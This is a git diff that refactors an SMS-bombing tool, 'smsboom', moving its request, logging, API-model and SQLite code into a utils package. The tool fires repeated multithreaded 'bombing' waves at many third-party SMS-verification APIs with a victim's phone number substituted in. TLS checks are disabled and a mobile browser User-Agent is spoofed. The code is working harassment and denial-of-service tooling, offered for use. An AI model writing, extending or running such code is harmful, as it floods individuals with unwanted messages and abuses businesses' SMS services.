diff --git a/smsboom.py b/smsboom.py index 2b9c92e..af5d30d 100644 --- a/smsboom.py +++ b/smsboom.py @@ -1,26 +1,19 @@ # encoding=utf8 # 短信测压主程序 +import json import pathlib import sys -from typing import List, Union -import click -import json -import httpx -from loguru import logger -from concurrent.futures import ThreadPoolExecutor import time -import sys +from concurrent.futures import ThreadPoolExecutor +from typing import List, Union -from utils import API, default_header +import click +import httpx -# logger config -logger.remove() -logger.add( - sink=sys.stdout, - format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", - colorize=True, - backtrace=True -) +from utils import default_header +from utils.log import logger +from utils.models import API +from utils.req import reqFunc # current directory path = pathlib.Path(__file__).parent @@ -70,38 +63,6 @@ def load_getapi() -> list: # return None raise ValueError -def reqAPI(api: API, client: httpx.Client) -> httpx.Response: - if isinstance(api.data, dict): - resp = client.request(method=api.method, json=api.data, - headers=api.header, url=api.url) - else: - resp = client.request(method=api.method, data=api.data, - headers=api.header, url=api.url) - return resp - - -def req(api: Union[API, str], phone: tuple): - """请求接口方法""" - # 多手机号支持 - if isinstance(phone, tuple): - phone_lst = [_ for _ in phone] - else: - phone_lst = [phone] - - with httpx.Client(headers=default_header, verify=False) as client: - for ph in phone_lst: - try: - if isinstance(api, API): - api = api.handle_API(ph) - resp = reqAPI(api, client) - logger.info(f"{api.desc}-{resp.text[:30]}") - else: - api = api.replace("[phone]", ph) - resp = client.get(url=api, headers=default_header) - logger.info(f"GETAPI接口-{resp.text[:30]}") - except httpx.HTTPError as why: - logger.error(f"请求失败{why}") - @click.command() @click.option("--thread", "-t", help="线程数(默认64)", default=64) @@ -126,16 +87,16 @@ def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = Fals i += 1 logger.success(f"第{i}波轰炸开始!") for api in _api: - pool.submit(req, api, phone) + pool.submit(reqFunc, api, phone) for api_get in _api_get: - pool.submit(req, api_get, phone) + pool.submit(reqFunc, api_get, phone) logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") time.sleep(interval) else: for api in _api: - pool.submit(req, api, phone) + pool.submit(reqFunc, api, phone) for api_get in _api_get: - pool.submit(req, api_get, phone) + pool.submit(reqFunc, api_get, phone) @click.command() @@ -147,9 +108,11 @@ def update(): try: with httpx.Client(verify=False, timeout=10) as client: # print(API_json_url) - GETAPI_json = client.get(GETAPI_json_url, headers=default_header).content.decode(encoding="utf8") - api_json = client.get(API_json_url, headers=default_header).content.decode(encoding="utf8") - + GETAPI_json = client.get( + GETAPI_json_url, headers=default_header).content.decode(encoding="utf8") + api_json = client.get( + API_json_url, headers=default_header).content.decode(encoding="utf8") + except Exception as why: logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!") else: diff --git a/utils.py b/utils.py index 4dbafae..0c2fc83 100644 --- a/utils.py +++ b/utils.py @@ -12,65 +12,6 @@ default_header = { } -class Sql(object): - """处理SQL数据""" - - def __init__(self) -> None: - '''初始化数据库''' - # 数据库路径 - db_path = Path.cwd().joinpath("api.db") - # 连接数据库,不检查是否在同一个路径. - self.client = sqlite3.connect( - db_path, timeout=6, check_same_thread=False) - self.cursor = self.client.cursor() - self.newTable() - - def newTable(self): - '''初始化表结构''' - sql = ''' -CREATE TABLE IF NOT EXISTS API200 ( - id INT NULL, - url TEXT NOT NULL, - primary key (url) -); - ''' - self.cursor.execute(sql) - self.client.commit() - - def update(self, url): - '''插入数据''' - sql = ''' - INSERT INTO API200 (ID,url) VALUES (null,?) - ''' - try: - self.cursor.execute(sql, (url,)) - self.client.commit() - return True - except sqlite3.IntegrityError: - # print(f"{url} 数据重复!") - return False - - def select(self) -> list: - '''获取所有接口''' - sql = ''' - SELECT url FROM API200; - ''' - try: - self.cursor.execute(sql) - result = self.cursor.fetchall() - urls = [] - for url in result: - urls.append(url[0]) - return urls - except Exception as e: - print('读取出现错误!', e) - - def __del__(self) -> None: - '''对象被删除时执行的函数''' - print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") - self.client.close() - - class API(BaseModel): """处理自定义 API 数据""" desc: str = "Default" diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..de412fe --- /dev/null +++ b/utils/__init__.py @@ -0,0 +1,3 @@ +default_header = { + "User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40" +} \ No newline at end of file diff --git a/utils/log.py b/utils/log.py new file mode 100644 index 0000000..90490e5 --- /dev/null +++ b/utils/log.py @@ -0,0 +1,44 @@ +# encoding=utf8 +# 日志模块 +from loguru import logger +import pathlib +import sys +import os + +# 终端日志输出格式 +stdout_fmt = '{level.icon} {time:HH:mm:ss,SSS} ' \ + '[{level}] ' \ + '{thread.name} ' \ + '{module}:{line} - ' \ + '{message}' + +# 日志文件记录格式 +# logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ +# '[{level: <5}] ' \ +# '{process.name}({process.id}):' \ +# '{thread.name: <10}({thread.id: <5}) | ' \ +# '{module}.{function}:' \ +# '{line} - {message}' + +logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ + '[{level}] ' \ + '{module}.{function}:' \ + '{line} - {message}' + +log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs') +if not log_pathDir.is_dir(): + log_pathDir.mkdir() +log_path = log_pathDir.joinpath('run.log').resolve() + +logger.remove() + +if not os.environ.get('PYTHONIOENCODING'): # 设置编码 + os.environ['PYTHONIOENCODING'] = 'utf-8' + +logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True) +# 输出到文件 +# logger.add(log_path, level='DEBUG', format=logfile_fmt, +# enqueue=True, encoding='utf-8') + +if __name__ == "__main__": + logger.info("test") diff --git a/utils/models.py b/utils/models.py new file mode 100644 index 0000000..8889485 --- /dev/null +++ b/utils/models.py @@ -0,0 +1,53 @@ +# encoding=utf8 +# 一些模型 +from pydantic import BaseModel +from typing import Union, Optional +from datetime import datetime +import json +from utils import default_header + +class API(BaseModel): + """处理自定义 API 数据""" + desc: str = "Default" + url: str + method: str = "GET" + header: Optional[Union[str, dict]] = default_header + data: Optional[Union[str, dict]] + + def replace_data(self, content: Union[str, dict], phone: str) -> str: + # 统一转换成 str 再替换. ' -> " + if phone: + content = str(content).replace("[phone]", phone).replace( + "[timestamp]", self.timestamp_new()).replace("'", '"') + + # 尝试 json 化 + try: + return json.loads(content.replace("'", '"')) + except: + return content + + def timestamp_new(self) -> str: + """返回整数字符串时间戳""" + return str(int(datetime.now().timestamp())) + + def handle_API(self, phone: str=None): + """ 传入手机号处理 API + :param API: one API basemodel + :return: API basemodel + """ + # 仅仅当传入 phone 参数时添加 Referer + # fix: 这段代码很有问题....... + if phone: + # 进入的 header 是个字符串 + if self.header == "": + self.header = {} + self.header['Referer'] = self.url # 增加 Referer + + self.header = self.replace_data(self.header, phone) + if not self.header.get('Referer'): + self.header['Referer'] = self.url # 增加 Referer + + self.data = self.replace_data(self.data, phone) + self.url = self.replace_data(self.url, phone) + # print(self) + return self diff --git a/utils/req.py b/utils/req.py new file mode 100644 index 0000000..1668617 --- /dev/null +++ b/utils/req.py @@ -0,0 +1,40 @@ +# encoding=utf8 +# 请求的方法 +import httpx +from typing import Union + +from utils import default_header +from utils.models import API +from utils.log import logger + +def reqAPI(api: API, client: httpx.Client) -> httpx.Response: + if isinstance(api.data, dict): + resp = client.request(method=api.method, json=api.data, + headers=api.header, url=api.url) + else: + resp = client.request(method=api.method, data=api.data, + headers=api.header, url=api.url) + return resp + + +def reqFunc(api: Union[API, str], phone: tuple): + """请求接口方法""" + # 多手机号支持 + if isinstance(phone, tuple): + phone_lst = [_ for _ in phone] + else: + phone_lst = [phone] + + with httpx.Client(headers=default_header, verify=False) as client: + for ph in phone_lst: + try: + if isinstance(api, API): + api = api.handle_API(ph) + resp = reqAPI(api, client) + logger.info(f"{api.desc}-{resp.text[:30]}") + else: + api = api.replace("[phone]", ph) + resp = client.get(url=api, headers=default_header) + logger.info(f"GETAPI接口-{resp.text[:30]}") + except httpx.HTTPError as why: + logger.error(f"请求失败{why}") diff --git a/utils/sql.py b/utils/sql.py new file mode 100644 index 0000000..3993aa1 --- /dev/null +++ b/utils/sql.py @@ -0,0 +1,63 @@ +# encoding=utf8 +# 读写sqlite数据库 +from pathlib import Path +import sqlite3 + +class Sql(object): + """处理SQL数据""" + + def __init__(self) -> None: + '''初始化数据库''' + # 数据库路径 + db_path = Path.cwd().joinpath("api.db") + # 连接数据库,不检查是否在同一个线程. + self.client = sqlite3.connect( + db_path, timeout=6, check_same_thread=False) + self.cursor = self.client.cursor() + self.newTable() + + def newTable(self): + '''初始化表结构''' + sql = ''' +CREATE TABLE IF NOT EXISTS API200 ( + id INT NULL, + url TEXT NOT NULL, + primary key (url) +); + ''' + self.cursor.execute(sql) + self.client.commit() + + def update(self, url): + '''插入数据''' + sql = ''' + INSERT INTO API200 (ID,url) VALUES (null,?) + ''' + try: + self.cursor.execute(sql, (url,)) + self.client.commit() + return True + except sqlite3.IntegrityError: + # print(f"{url} 数据重复!") + return False + + def select(self) -> list: + '''获取所有接口''' + sql = ''' + SELECT url FROM API200; + ''' + try: + self.cursor.execute(sql) + result = self.cursor.fetchall() + urls = [] + for url in result: + urls.append(url[0]) + return urls + except Exception as e: + print('读取出现错误!', e) + + def __del__(self) -> None: + '''对象被删除时执行的函数''' + print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") + self.client.close() +